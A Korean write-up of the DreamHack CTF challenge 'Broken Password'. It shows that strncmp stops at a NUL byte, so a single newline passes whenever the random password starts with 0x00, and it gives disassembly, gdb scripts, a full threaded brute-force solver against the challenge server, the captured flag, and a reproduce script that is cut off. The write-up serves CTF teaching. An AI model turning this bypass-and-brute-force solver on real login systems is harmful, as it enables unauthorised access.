[🥈 Silver 3] strncmp 는 8바이트를 다 보지 않는다 — DreamHack Broken Password 풀이

2026-08-07·1분 읽기·

[🥈 Silver 3] strncmp 는 8바이트를 다 보지 않는다 — DreamHack Broken Password 풀이

/dev/urandom 으로 만든 8바이트 비밀번호를 strncmp 로 검사한다. 그런데 strncmp 는 NUL 을 만나면 거기서 멈추고 같다고 답한다. 첫 바이트가 0x00 으로 나오는 1/256 만 노리면 개행 한 글자로 통과한다. 더 그럴싸해 보이는 임의 주소 쓰기 경로는 주소 유출이 없어 쓸 수 없는 미끼였다.

문제: DreamHack — Broken Password 분류: misc (사실상 리버싱 + 확률) 난이도: 🥈 Silver 3 FLAG: DH{7dcff8d7b093da40e3dcf77e071603e79445416ca155ffab6f69d619a697c691}

문제 설명은 이렇게 짧다.

드멍이는 얼른 집에들어가서 쉬고싶은데 도어락이 고장나버렸어요... 얼른 문을 열고 침대로 가서 잠들게 해주세요!!

도어락이 고장났다는 게 힌트다. 제목도 "Broken Password" 다. 비밀번호를 깨뜨리는 문제가 아니라, 비밀번호 검사가 이미 고장나 있는 문제다.


문제 개요

항목내용
문제명Broken Password (id 634)
난이도🥈 Silver 3
분류misc
제공 파일prob (ELF 64-bit PIE, 16,728바이트, not stripped)
서버host3.dreamhack.games:<PORT> (라이브 VM)
핵심 취약점strncmp 의 NUL 조기 종료 + .bss 전역 password
최종 확률접속 1회당 1/256, 원격 실측 222회 8초

바이너리 하나만 준다. 소스는 없다.

풀이 흐름은 이렇게 흘러갔다. 디스어셈블로 main 을 읽어 보니 /dev/urandom 에서 8바이트를 받아 strncmp 로 비교하는 단순한 구조였다.

비교에 실패하면 임의 주소에 8바이트를 쓸 수 있는 두 번째 경로가 열리는데, 이쪽이 훨씬 그럴싸해 보였다. 한참 붙들고 있다가 주소를 흘리는 출력이 하나도 없다는 걸 확인하고 접었다.

다시 첫 번째 경로로 돌아와 strncmp 의 종료 조건을 따져 보니 거기에 구멍이 있었다.



🧩 배경 — .bss 의 전역 변수와 /dev/urandom

이 문제를 이해하려면 두 가지만 알면 된다.

첫째, 초기값 없는 전역 변수는 .bss 에 들어가고 0 으로 시작한다. C 표준이 그렇게 정해 뒀고, 리눅스에서는 커널이 그 페이지를 0 으로 채워 매핑해 준다. unsigned char password[8]; 처럼 선언만 해 두면 프로그램이 시작될 때 여덟 바이트가 전부 0x00 이다.

둘째, /dev/urandom 은 커널의 난수 장치다. 열어서 읽으면 요청한 만큼 예측 불가능한 바이트를 준다. 블로킹되지 않고, 엔트로피가 모자라도 그냥 준다. CTF 바이너리가 "맞힐 수 없는 값" 을 만들 때 흔히 쓴다.

문제 바이너리는 이 둘을 이어 붙였다. .bss 에 8바이트 전역을 잡아 두고, 시작하자마자 /dev/urandom 에서 8바이트를 읽어 덮는다. 그리고 우리 입력과 비교한다.

여기까지만 보면 뚫을 구석이 없다. 8바이트를 통째로 맞혀야 하니 2⁶⁴ 분의 1이다. 구멍은 난수 쪽이 아니라 비교 함수 쪽에 있었다.

먼저 파일부터 확인했다. 로컬 환경은 Ubuntu(glibc 2.42), gdb 16.3, binutils objdump 2.45 다.

file extracted/prob; readelf -lW extracted/prob | grep -E "GNU_STACK|GNU_RELRO"
file 과 readelf 로 확인한 prob 의 기본 정보 — PIE 실행 파일이고 심볼이 남아 있으며 GNU_STACK 은 RW 라 NX 가 걸려 있고 GNU_RELRO 구간은 0x3d58 부터 0x2a8 바이트다
file 과 readelf 로 확인한 prob 의 기본 정보 — PIE 실행 파일이고 심볼이 남아 있으며 GNU_STACK 은 RW 라 NX 가 걸려 있고 GNU_RELRO 구간은 0x3d58 부터 0x2a8 바이트다

PIE 라 실행할 때마다 주소가 통째로 바뀐다. 이 사실이 나중에 두 번째 경로를 포기하게 만든다.

심볼이 살아 있는 건 다행이다 — not stripped 라 함수 이름을 그대로 볼 수 있다.


🔬 코드 정찰

함수와 임포트

심볼이 남아 있으니 함수 목록부터 뽑는다. 임포트 목록은 이 프로그램이 무슨 일을 할 수 있는지 알려 준다.

nm extracted/prob | grep -E " T (main|proc_init|read_input|read_number)| B password"; nm -D extracted/prob | grep " U "
nm 으로 뽑은 prob 의 함수와 임포트 목록 — main proc_init read_input read_number 네 함수와 .bss 의 password 전역, 그리고 strncmp system open read sleep 등 라이브러리 함수가 보인다
nm 으로 뽑은 prob 의 함수와 임포트 목록 — main proc_init read_input read_number 네 함수와 .bss 의 password 전역, 그리고 strncmp system open read sleep 등 라이브러리 함수가 보인다

눈에 띄는 것 세 가지.

password 가 B 로 찍혔다. .bss 라는 뜻이다. 주소는 0x4060.

임포트에 system 이 있다. 이 바이너리 어딘가에서 셸 명령을 실행한다.

read_number 라는 함수가 있는데, 뒤에서 보겠지만 아무도 호출하지 않는다. 개발 과정에서 남은 죽은 코드다.

문자열

system 이 무슨 명령을 실행하는지는 문자열만 봐도 짐작이 간다.

strings -a extracted/prob | sed -n "/read error/,/happy sleep/p"
strings 로 뽑은 prob 의 문자열 — read error 와 dev urandom 경로, can u guess me 배너, cat flag 명령, wrong 실패 문구, another path 라는 도발, 마지막 인사말이 순서대로 나온다
strings 로 뽑은 prob 의 문자열 — read error 와 dev urandom 경로, can u guess me 배너, cat flag 명령, wrong 실패 문구, another path 라는 도발, 마지막 인사말이 순서대로 나온다

일곱 줄이 풀이의 뼈대를 다 보여 준다.

/dev/urandom 에서 뭔가를 읽고, can u guess me? 라고 묻고, 맞히면 cat flag 를 돌린다.

틀리면 wrong... :p 를 찍고 can you try another path? maybe impossible 이라고 도발한다.

"another path" 가 뭔지, 그리고 그게 정말 "maybe impossible" 인지가 이 문제의 절반이다.

main 디스어셈블

이제 실제 코드를 본다. 핵심 명령마다 주석을 얹으려고 sed 스크립트를 따로 뒀다. 인라인으로 쓰면 따옴표가 깨지기 때문이다.

# annot_main.sed
s|# 2015 <_IO_stdin_used+0x15>|&   <-- "/dev/urandom"|
s|call   1190 <open@plt>|&        <-- 열고|
s|# 4060 <password>|&   <-- 전역 password (.bss 라 0 으로 시작한다)|
s|call   1170 <read@plt>|&        <-- read(fd, password, 8) 로 랜덤 8바이트를 채운다|
s|call   132e <read_input>|&      <-- 우리 입력을 buf 로 받는다|
s|call   1110 <strncmp@plt>|&     <-- strncmp(password, buf, 8)|
s|jne    150d <main+0xc1>|&           <-- 다르면 임의쓰기 경로로|
s|# 2032 <_IO_stdin_used+0x32>|&   <-- "cat flag"|
s|call   1140 <system@plt>|&      <-- 통과하면 여기. 목적지다|

이걸 objdump 출력에 그대로 통과시킨다. 주석은 실제 출력 위에 얹은 것이고, 명령·주소는 손대지 않았다.

objdump -d --start-address=0x144c --stop-address=0x150d -M intel --no-show-raw-insn extracted/prob | sed -f annot_main.sed
objdump 로 뽑은 main 의 앞부분 디스어셈블 — dev urandom 을 열어 password 에 8바이트를 읽고, read_input 으로 받은 입력과 strncmp 로 비교한 뒤 같으면 system 으로 cat flag 를 실행하는 흐름이 보인다
objdump 로 뽑은 main 의 앞부분 디스어셈블 — dev urandom 을 열어 password 에 8바이트를 읽고, read_input 으로 받은 입력과 strncmp 로 비교한 뒤 같으면 system 으로 cat flag 를 실행하는 흐름이 보인다

C 로 옮기면 이렇다.

int main(void)
{
    char buf[0x20];
    char *where;
    long  what;
 
    proc_init();                                  // setvbuf 3종
 
    int fd = open("/dev/urandom", O_RDONLY);
    read(fd, password, 8);                        // password 는 .bss 전역
    close(fd);
 
    puts("can u guess me?");
    sleep(0);                                     // 0초. 아무 일도 안 한다
 
    read_input(buf, 0x20);
    if (strncmp(password, buf, 8) == 0) {
        system("cat flag");                       // ← 여기가 목적지
    } else {
        puts("wrong... :p");
        puts("can you try another path? maybe impossible");
 
        printf("> ");  read_input(&where, 8);     // 쓸 주소
        printf("> ");  read_input(&what,  8);     // 쓸 값
        *(long *)where = what;                    // ← 임의 주소 8바이트 쓰기
 
        puts("wish your happy sleep");
    }
    return 0;
}

두 가지가 바로 눈에 들어온다.

sleep(0) 은 아무것도 안 한다. 재시도 속도를 늦추려던 흔적으로 보이는데 인자가 0이라 지연이 없다. 브루트포스를 막을 장치가 사실상 없다는 뜻이다.

그리고 else 쪽. 주소와 값을 각각 받아서 *(long *)where = what 을 실행한다. 교과서적인 write-what-where 다.

스택 카나리도 있고 오버플로도 없는데, 임의 주소에 8바이트를 통째로 쓸 수 있는 원시 기능이 대놓고 놓여 있다.

당연히 이쪽부터 파고들었다.



🧱 read_input 이 실제로 하는 일

임의 쓰기로 넘어가기 전에 read_input 을 먼저 읽었다. 입력을 어떻게 다루는지 알아야 무엇을 보낼 수 있는지 알기 때문이다.

이 함수를 제대로 읽은 게 결국 풀이의 열쇠가 됐다.

# annot_readinput.sed
s|call   1170 <read@plt>|&        <-- read(0, buf, n) — 반환값이 읽은 바이트 수|
s|jns    138e <read_input+0x60>|&      <-- 음수면 read error! 찍고 exit|
s|lea    rdx,\[rax-0x1\]|&            <-- n-1 번째, 즉 마지막 바이트|
s|movzx  eax,BYTE PTR \[rax\]|&     <-- 그 바이트를 꺼내|
s|cmp    al,0xa|&                <-- 개행(0x0a)인지 본다|
s|mov    BYTE PTR \[rax\],0x0|&      <-- 개행이면 그 자리를 0x00 으로 덮는다|
objdump -d --start-address=0x132e --stop-address=0x13bd -M intel --no-show-raw-insn extracted/prob | sed -f annot_readinput.sed
objdump 로 뽑은 read_input 의 전체 디스어셈블 — read 로 받은 바이트 수를 보관했다가 마지막 바이트가 0x0a 인지 검사하고 개행이면 그 자리를 0x00 으로 덮어쓰는 부분에 주석을 달았다
objdump 로 뽑은 read_input 의 전체 디스어셈블 — read 로 받은 바이트 수를 보관했다가 마지막 바이트가 0x0a 인지 검사하고 개행이면 그 자리를 0x00 으로 덮어쓰는 부분에 주석을 달았다

C 로 옮기면 짧다.

int read_input(char *buf, int n)
{
    int r = read(0, buf, n);
    if (r < 0) {
        fwrite("read error!\n", 1, 12, stderr);
        exit(1);
    }
    if (buf[r - 1] == '\n')      // 마지막 바이트가 개행이면
        buf[r - 1] = '\0';       // 그 자리를 NUL 로 바꾼다
    return r;
}

세 가지를 기억해 두자.

버퍼를 0 으로 초기화하지 않는다. read 가 채운 만큼만 유효하고 나머지는 스택에 남아 있던 쓰레기다.

길이 검사가 없다. 정확히 n 바이트를 요구하지 않는다. 한 바이트만 보내도 그대로 진행한다.

끝의 개행을 NUL 로 바꾼다. 이게 핵심이다. 우리가 엔터만 치면 read 는 1을 반환하고 buf[0] 에 0x0a 가 들어간 뒤 곧바로 0x00 으로 덮인다. 즉 개행 한 글자를 보내면 버퍼 첫 바이트가 NUL 이 된다.

런타임으로 확인

정적 분석은 여기까지고, 실제로 그렇게 도는지 gdb 로 확인했다. 배치 모드라 스크립트 파일 하나면 된다.

# runtime_check.gdb
set pagination off
set confirm off
 
# main+0x5a = read(fd, password, 8) 직후
break *main+0x5a
# main+0xa4 = call strncmp 직전
break *main+0xa4
 
run
 
printf "\n[1] /dev/urandom 을 읽은 직후의 password(.bss 0x4060) 8바이트\n"
x/8xb &password
 
continue
 
printf "\n[2] strncmp 인자 — rdi=password, rsi=입력버퍼, rdx=n\n"
printf "  rdi = %p\n", $rdi
printf "  rsi = %p\n", $rsi
printf "  rdx = %d\n", $rdx
printf "  password[0..7] : "
x/8xb $rdi
printf "  buf[0..7]      : "
x/8xb $rsi
 
printf "\n[3] password[0] 을 0 으로 강제하면 (= urandom 이 0x00 을 내준 경우)\n"
set {unsigned char}((unsigned char *)&password) = 0
x/8xb &password
 
printf "\n[4] 그 상태로 이어서 실행한 결과\n"
continue
quit

local/ 안에 prob 사본과 더미 flag 파일을 두고 돌렸다. 표준입력으로는 개행 하나만 보낸다.

printf "\n" | gdb -q -batch -x ../runtime_check.gdb ./prob
gdb 배치 실행 결과 — urandom 이 채운 password 8바이트가 보이고 strncmp 인자는 rdx 가 8 이며 입력 버퍼는 전부 0x00 이다. password 첫 바이트를 0 으로 바꾸자 cat flag 가 실행돼 더미 플래그가 출력된다
gdb 배치 실행 결과 — urandom 이 채운 password 8바이트가 보이고 strncmp 인자는 rdx 가 8 이며 입력 버퍼는 전부 0x00 이다. password 첫 바이트를 0 으로 바꾸자 cat flag 가 실행돼 더미 플래그가 출력된다

읽을 게 많다.

[1] 에서 password 가 0c bd 6f 35 9e e2 fa 34 로 채워졌다. /dev/urandom 이 제대로 8바이트를 준 것이다.

[2] 에서 strncmp 의 세 번째 인자가 정확히 8이다. 그리고 우리 입력 버퍼는 첫 바이트부터 0x00 이다 — 개행이 NUL 로 바뀐 결과다.

[3] 에서 password[0] 만 0x00 으로 바꿨다. 나머지 일곱 바이트는 그대로 랜덤이다.

[4] 를 보자. 그 한 바이트를 바꿨을 뿐인데 cat flag 가 실행됐다. 뒤의 일곱 바이트가 우리 입력과 전혀 다른데도 통과한 것이다.

이 화면이 나온 순간 풀이가 끝났다. 다만 여기까지 오기 전에 엉뚱한 데서 한참 시간을 썼다.


🐛 삽질

▶🕳️ 삽질 1 — 임의 주소 쓰기라는 미끼를 한참 붙들었다

*(long *)where = what 을 보자마자 이쪽이 정답이라고 확신했다. 프로그램이 대놓고 "can you try another path?" 라고 부르기까지 한다.

8바이트 임의 쓰기면 보통은 GOT 하나 덮어서 끝난다.

계획은 이랬다. 쓰기 직후에 puts("wish your happy sleep") 가 호출되니, puts@GOT 를 main+0xad 로 덮는다.

main+0xad 는 cat flag 를 넣고 system 을 부르는 지점이다. 그러면 그 puts 가 곧바로 플래그를 뱉는다.

문제는 "어디에" 다. PIE 바이너리라 puts@GOT 의 실제 주소는 실행마다 달라진다.

베이스를 알아야 하는데, 이 바이너리에는 주소를 흘리는 출력이 하나도 없다. printf 는 쓰이지만 인자가 "> " 고정이라 포맷 스트링이 아니다. 유일한 출력은 puts 로 찍는 고정 문자열뿐이다.

그래도 미련이 남아서 확인해 봤다. 쓸 주소와 값에 각각 BBBBBBBB, CCCCCCCC 를 넣고 브레이크포인트를 걸었다.

# write_probe.gdb
set pagination off
set disable-randomization off
set confirm off
 
# main+0x134 = mov QWORD PTR [rdx], rax  — 임의 쓰기 그 자체
break *main+0x134
run
 
printf "\n[1] 목적지도 값도 우리가 100%% 정한다 (write-what-where)\n"
x/i $pc
printf "  rdx  어디에 = %p\n", $rdx
printf "  rax  무엇을 = %p\n", $rax
 
printf "\n[2] 그런데 '어디에' 를 정하려면 PIE 베이스를 알아야 한다\n"
printf "  이번 실행의 main         = %p\n", &main
printf "  이번 실행의 password     = %p\n", &password
printf "  이번 실행의 cat flag 지점 = %p\n", (char *)&main + 0xad
printf "  → 실행마다 통째로 바뀌는데, 이 바이너리엔 주소를 흘리는 출력이 하나도 없다.\n"
 
printf "\n[3] 그래서 아무 주소나 넣으면\n"
continue
quit

입력은 파일로 만들어 두고 리다이렉트했다. read(0, buf, n) 이 요청한 n 만큼만 잘라 읽으므로, 48바이트를 한 번에 흘려보내도 32 + 8 + 8 로 알아서 갈린다.

import pathlib
# 32B(오답용 password 추측) + 8B(쓸 주소) + 8B(쓸 값)
pathlib.Path('write_probe_input.bin').write_bytes(b'A'*32 + b'BBBBBBBB' + b'CCCCCCCC')
gdb -q -batch -x write_probe.gdb local/prob < write_probe_input.bin
gdb 로 임의 쓰기 지점을 잡은 화면 — rdx 와 rax 가 우리가 보낸 0x4242 와 0x4343 으로 완전히 제어되지만 ASLR 을 켜면 main 과 password 주소가 실행마다 바뀌고, 결국 잘못된 주소에 쓰다 세그멘테이션 폴트로 죽는다
gdb 로 임의 쓰기 지점을 잡은 화면 — rdx 와 rax 가 우리가 보낸 0x4242 와 0x4343 으로 완전히 제어되지만 ASLR 을 켜면 main 과 password 주소가 실행마다 바뀌고, 결국 잘못된 주소에 쓰다 세그멘테이션 폴트로 죽는다

[1] 을 보면 목적지(rdx)도 값(rax)도 우리가 보낸 그대로다. 원시 기능 자체는 완벽하다.

[2] 가 결론이다. set disable-randomization off 로 ASLR 을 켠 상태라 주소가 실행마다 통째로 바뀐다. 이 값을 알아낼 방법이 없다.

[3] 은 예상대로 SIGSEGV.

베이스 없이 쓸 수 있는 고정 주소가 있는지도 찾아봤지만 없었다. 부분 덮어쓰기도 안 된다 — 8바이트를 통째로 쓰는 구조라 하위 몇 바이트만 손대는 게 불가능하다.

maybe impossible 은 도발이 아니라 사실이었다. 이 경로는 정말로 막혀 있다.

▶🕳️ 삽질 2 — 로컬 실행이 1000번 내내 조용히 실패했다

풀이 방향을 잡고 나서 로컬에서 확률을 재려고 바이너리를 1000번 돌렸다. 결과는 0회. 기대값이 4회쯤이니 나올 확률이 2% 정도라 "운이 없었나" 싶으면서도 찜찜했다.

원인은 허무했다. 배포 zip 이 실행 비트를 보존하지 않아서 압축을 푼 prob 이 실행 권한 없이 나온 것이다.

(eval):1: 허가 거부: ./prob
(exit=126)

루프 안에서 출력만 grep 하고 있었으니 1000번 전부 허가 거부 를 뱉고 조용히 넘어갔다. 종료 코드를 안 본 게 잘못이다.

chmod +x prob

한 줄로 끝났다. reproduce.sh 에도 이 chmod 를 넣어 뒀다 — 다른 환경에서 그대로 다시 밟을 함정이라서.

교훈이라면, 반복 실행 루프는 결과 문자열만 보지 말고 종료 코드도 같이 봐야 한다는 것. "안 나온다" 와 "실행이 안 됐다" 는 화면상 구분이 안 된다.



💣 핵심 — strncmp 는 n 바이트를 다 보지 않는다

strncmp(a, b, n) 을 "앞에서 n 바이트를 비교한다" 로 외우고 있으면 이 문제는 안 풀린다. 정확한 동작은 이렇다.

바이트를 하나씩 비교하다가 셋 중 하나가 오면 멈춘다. 값이 다르거나, 양쪽 다 NUL 이거나, n 개를 다 봤거나. 그리고 양쪽 다 NUL 이면 0(같음)을 반환한다.

즉 n 은 상한일 뿐이다. NUL 이 먼저 오면 거기서 끝난다.

strncmp 가 실제로 보는 범위를 그린 도식 — password 첫 바이트가 0x00 이 아니면 첫 칸에서 갈리고, 0x00 이면 양쪽 다 NUL 이라 나머지 일곱 칸은 아예 읽지 않은 채 0 을 반환한다
strncmp 가 실제로 보는 범위를 그린 도식 — password 첫 바이트가 0x00 이 아니면 첫 칸에서 갈리고, 0x00 이면 양쪽 다 NUL 이라 나머지 일곱 칸은 아예 읽지 않은 채 0 을 반환한다

문제 코드에 대입해 보자.

password 는 /dev/urandom 이 준 8바이트다. 첫 바이트가 0x00 일 확률은 정확히 1/256.

우리가 보낼 입력은 개행 한 글자. read_input 이 그걸 0x00 으로 바꿔 주니 buf[0] == 0x00 이다.

두 조건이 겹치면 strncmp 는 첫 칸에서 양쪽 NUL 을 보고 0 을 반환한다. 뒤의 일곱 바이트는 읽지도 않는다. 우리가 그 값을 알 필요가 전혀 없다.

8바이트를 다 맞히면 2⁶⁴ 분의 1이지만, 실제로 요구되는 건 한 바이트다. 2**64 에서 256 으로 내려온다.

정말 그런가 — 직접 확인

말로만 넘어가기엔 중요한 부분이라 짧은 C 프로그램으로 확인했다.

/* strncmp_demo.c — strncmp 가 정말 n 바이트를 "전부" 비교하는지 확인한다.
 * prob 은 strncmp(password, buf, 8) == 0 이면 flag 를 준다. */
#include <stdio.h>
#include <string.h>
 
static void t(const char *label, const unsigned char *a, const unsigned char *b)
{
    int r = strncmp((const char *)a, (const char *)b, 8);
    printf("%-46s strncmp(...,8) = %2d  %s\n", label, r, r == 0 ? "통과" : "실패");
}
 
int main(void)
{
    /* urandom 이 내준 8바이트라고 치자 */
    unsigned char rnd[8] = {0xa7, 0x37, 0xc0, 0x25, 0x65, 0x60, 0xcb, 0x76};
    /* 첫 바이트만 0x00 이고 나머지는 그대로 랜덤 */
    unsigned char zero_first[8] = {0x00, 0x37, 0xc0, 0x25, 0x65, 0x60, 0xcb, 0x76};
    /* 우리가 보내는 것: 개행 한 글자 → read_input 이 0x00 으로 바꾼다 */
    unsigned char mine[8] = {0x00, 'A', 'A', 'A', 'A', 'A', 'A', 'A'};
 
    printf("password[0] != 0x00 인 경우\n");
    t("  랜덤 8바이트  vs  우리 입력(0x00 시작)", rnd, mine);
 
    printf("\npassword[0] == 0x00 인 경우 (확률 1/256)\n");
    t("  0x00 시작     vs  우리 입력(0x00 시작)", zero_first, mine);
 
    printf("\n뒤 7바이트는 서로 완전히 다른데도 통과한다 —\n");
    printf("strncmp 는 첫 바이트에서 양쪽 다 NUL 을 보면 거기서 같다고 끝낸다.\n");
    return 0;
}
gcc -O0 -o strncmp_demo strncmp_demo.c && ./strncmp_demo
gcc 로 컴파일한 strncmp 동작 확인 프로그램의 출력 — 첫 바이트가 다르면 167 을 반환해 실패하고, 첫 바이트가 양쪽 다 0x00 이면 뒤 일곱 바이트가 완전히 달라도 0 을 반환해 통과한다
gcc 로 컴파일한 strncmp 동작 확인 프로그램의 출력 — 첫 바이트가 다르면 167 을 반환해 실패하고, 첫 바이트가 양쪽 다 0x00 이면 뒤 일곱 바이트가 완전히 달라도 0 을 반환해 통과한다

두 번째 케이스에서 뒤 일곱 바이트는 37 c0 25 65 60 cb 76 대 41 41 41 41 41 41 41 이다. 한 바이트도 안 맞는데 반환값이 0이다.


🎯 확률이 정말 1/256 인가

이론은 맞는데 실제 바이너리도 그렇게 도는지는 별개다. .bss 초기화, read_input 의 개행 처리, strncmp 호출까지 전부 예상대로 맞물려야 한다.

그래서 로컬에서 직접 세어 봤다.

로컬 실행 환경은 local/ 폴더에 prob 사본과 더미 flag 파일을 둔 것이다. 실행 비트를 반드시 켜 둬야 한다(삽질 2).

#!/usr/bin/env python3
"""로컬에서 prob 을 N번 돌려 '개행 한 글자'가 몇 번 통과하는지 센다.
 
이론값은 1/256 = 0.391% — urandom 이 내주는 첫 바이트가 0x00 일 확률이다.
실측이 여기에 맞으면 "strncmp 가 NUL 에서 멈춘다"는 해석이 맞다는 뜻이다.
 
local/ 안에 prob 과 (로컬용 더미) flag 파일이 있어야 한다.
"""
import concurrent.futures as cf
import pathlib
import subprocess
import sys
 
HERE = pathlib.Path(__file__).resolve().parent
LOCAL = HERE / "local"
N = int(sys.argv[1]) if len(sys.argv) > 1 else 3000
 
 
def one(_):
    p = subprocess.run(["./prob"], cwd=LOCAL, input=b"\n",
                       capture_output=True, timeout=20)
    return b"DH{" in p.stdout
 
 
def main():
    with cf.ThreadPoolExecutor(max_workers=16) as ex:
        hits = sum(ex.map(one, range(N)))
    print(f"시도 {N}회 중 통과 {hits}회 = {hits / N * 100:.3f}%")
    print(f"이론값 1/256                = {100 / 256:.3f}%")
 
 
if __name__ == "__main__":
    main()
python3 local_bruteforce.py 4000
로컬 브루트포스 통계 스크립트의 출력 — prob 을 4000회 실행해 개행 한 글자로 14회 통과했고 실측 0.350% 가 이론값 0.391% 와 사실상 일치한다
로컬 브루트포스 통계 스크립트의 출력 — prob 을 4000회 실행해 개행 한 글자로 14회 통과했고 실측 0.350% 가 이론값 0.391% 와 사실상 일치한다

4000회에 14회. 0.350% 다. 이론값 0.391% 와의 차이는 이 표본 크기에서 정상 범위다(기댓값 15.6, 표준편차 약 3.9).

여기서 확신이 섰다. 남은 건 같은 짓을 네트워크 너머로 하는 것뿐이다.



🚀 Full Exploit

원격에서는 프로세스를 우리가 직접 못 띄우니 접속을 반복한다. 접속 하나가 곧 프로세스 하나이고, 프로세스마다 /dev/urandom 을 새로 읽는다.

기대 시도 횟수는 256회.

sleep(0) 덕분에 재시도 간격 제약이 없다. 스레드 몇 개로 동시에 두드리면 금방 끝난다.

#!/usr/bin/env python3
"""Broken Password (DreamHack, Silver 3 / misc) — solver
 
핵심:
  main() 은 /dev/urandom 에서 8바이트를 읽어 전역 password(.bss) 에 넣고
  strncmp(password, buf, 8) == 0 이면 system("cat flag") 를 실행한다.
 
  strncmp 는 "n바이트를 전부 비교"하는 함수가 아니라 **NUL 을 만나면 거기서 멈추고
  같다고 판정**한다. 그래서 password[0] 이 0x00 이기만 하면 우리가 빈 문자열을
  보내는 것만으로 통과한다. read_input() 이 입력 끝의 '\n' 을 '\0' 으로 바꿔 주므로
  개행 한 글자만 보내면 buf[0] = 0x00 이 된다.
 
  urandom 첫 바이트가 0x00 일 확률 = 1/256. 접속을 반복하면 평균 256회에 뚫린다.
  binary 안의 sleep(0) 은 지연이 0초라 재시도 속도를 전혀 막지 못한다.
 
사용:
  python3 solve.py <host> <port> [--threads N] [--max N]
"""
import argparse
import socket
import sys
import threading
import time
 
FOUND = threading.Event()
FLAG = None
LOCK = threading.Lock()
TRIES = 0
 
 
def attempt(host: str, port: int, timeout: float = 4.0) -> str | None:
    """한 번 접속해서 개행 한 글자를 보내고 flag 가 나오는지 본다."""
    global TRIES
    s = socket.create_connection((host, port), timeout=timeout)
    try:
        s.settimeout(timeout)
        # "can u guess me?" 배너를 기다린다
        banner = b""
        while b"guess" not in banner:
            chunk = s.recv(4096)
            if not chunk:
                return None
            banner += chunk
 
        # buf[0] = '\n' → read_input() 이 '\0' 으로 치환 → 빈 문자열
        s.sendall(b"\n")
 
        data = b""
        deadline = time.time() + timeout
        while time.time() < deadline:
            try:
                chunk = s.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            data += chunk
            if b"DH{" in data or b"wrong" in data:
                break
        return data.decode(errors="replace")
    finally:
        with LOCK:
            TRIES += 1
        s.close()
 
 
def worker(host: str, port: int, max_tries: int) -> None:
    global FLAG
    while not FOUND.is_set():
        with LOCK:
            if TRIES >= max_tries:
                return
        try:
            out = attempt(host, port)
        except OSError:
            time.sleep(0.2)
            continue
        if out and "DH{" in out:
            line = next(l for l in out.splitlines() if "DH{" in l)
            with LOCK:
                FLAG = line.strip()
            FOUND.set()
            return
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    ap.add_argument("--threads", type=int, default=6)
    ap.add_argument("--max", type=int, default=4000, help="최대 시도 횟수")
    a = ap.parse_args()
 
    print(f"[*] target {a.host}:{a.port}  threads={a.threads}  p(hit)=1/256")
    t0 = time.time()
    ts = [threading.Thread(target=worker, args=(a.host, a.port, a.max), daemon=True)
          for _ in range(a.threads)]
    for t in ts:
        t.start()
 
    while any(t.is_alive() for t in ts) and not FOUND.is_set():
        time.sleep(0.5)
        print(f"\r[*] 시도 {TRIES}회  ({time.time() - t0:.0f}s)", end="", flush=True)
    for t in ts:
        t.join(timeout=2)
 
    print()
    if FLAG:
        print(f"[+] {TRIES}회 만에 password[0] == 0x00 인 프로세스를 만났다 "
              f"({time.time() - t0:.0f}s)")
        print(f"[+] FLAG: {FLAG}")
        return 0
    print(f"[-] {TRIES}회 시도했지만 실패")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

배너를 끝까지 기다리는 부분이 은근히 중요하다. can u guess me? 가 도착하기 전에 개행을 밀어 넣으면 그 바이트가 어디로 갈지 보장되지 않는다.

먼저 로컬 복제본에

라이브 VM 을 켜기 전에 로컬에서 같은 서버를 만들어 붙여 봤다. socat 으로 포트에 바이너리를 물리면 원격과 같은 모양이 된다.

cd local && socat TCP-LISTEN:31337,reuseaddr,fork EXEC:"./prob" &
python3 solve.py 127.0.0.1 31337 --threads 6
로컬 socat 복제본을 상대로 solve.py 를 돌린 결과 — 445회 재접속 2초 만에 password 첫 바이트가 0x00 인 프로세스를 만나 로컬 더미 플래그가 회수됐다
로컬 socat 복제본을 상대로 solve.py 를 돌린 결과 — 445회 재접속 2초 만에 password 첫 바이트가 0x00 인 프로세스를 만나 로컬 더미 플래그가 회수됐다

445회, 2초. 스크립트가 제대로 돈다는 것과 확률 모델이 네트워크를 끼고도 유효하다는 걸 동시에 확인했다. 나오는 값은 물론 로컬에 만들어 둔 더미 플래그다.

그리고 라이브 서버에

여기까지 마치고서야 문제 서버를 켰다.

python3 solve.py host3.dreamhack.games 16591 --threads 6
라이브 문제 서버를 상대로 solve.py 를 돌린 결과 — 222회 재접속 8초 만에 통과해 진짜 플래그가 출력됐다
라이브 문제 서버를 상대로 solve.py 를 돌린 결과 — 222회 재접속 8초 만에 통과해 진짜 플래그가 출력됐다

222회, 8초.

DH{7dcff8d7b093da40e3dcf77e071603e79445416ca155ffab6f69d619a697c691}

기댓값이 256회니 운이 조금 좋은 편이었다. 여러 번 돌려 보면 대체로 100회에서 600회 사이에서 끝난다.



🧪 재현

reproduce.sh 하나로 두 가지를 다 돌리게 해 뒀다.

#!/usr/bin/env bash
# Broken Password (DreamHack #634, Silver 3 / misc) — 한 방 재현
#
#   ./reproduce.sh                       → 로컬 socat 복제본으로 기법만 검증 (서버 불필요)
#   ./reproduce.sh host3.dreamhack.games 16591
#                                        → 라이브 VM 에서 진짜 flag 회수 + 정답 대조
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
[ -n "$EXPECT" ] || EXPECT='DH{7dcff8...}'
 
if [ "$#" -ge 2 ]; then
  echo "[*] 라이브 모드 — $1:$2"
  OUT=$(timeout 300 python3 solve.py "$1" "$2" --threads 6 --max 4000 2>&1) || true
  echo "$OUT" | tail -5
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ "${FLAG:-}" = "$EXPECT" ]; then
    echo; echo "✅ PASS  $FLAG"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1
fi
 
echo "[*] 로컬 모드 — 서버 없이 기법만 검증한다 (진짜 flag 아님)"
DUMMY='DH{local_dummy_flag_for_verification}'
PORT=${PORT:-31337}
 
mkdir -p local
cp -f extracted/prob local/prob
chmod +x local/prob                 # ★ zip 안의 prob 은 실행 비트가 없다
printf '%s\n' "$DUMMY" > local/flag
 
( cd local && setsid socat TCP-LISTEN:$PORT,reuseaddr,fork EXEC:"./prob" >/dev/null 2>&1 & )
sleep 1
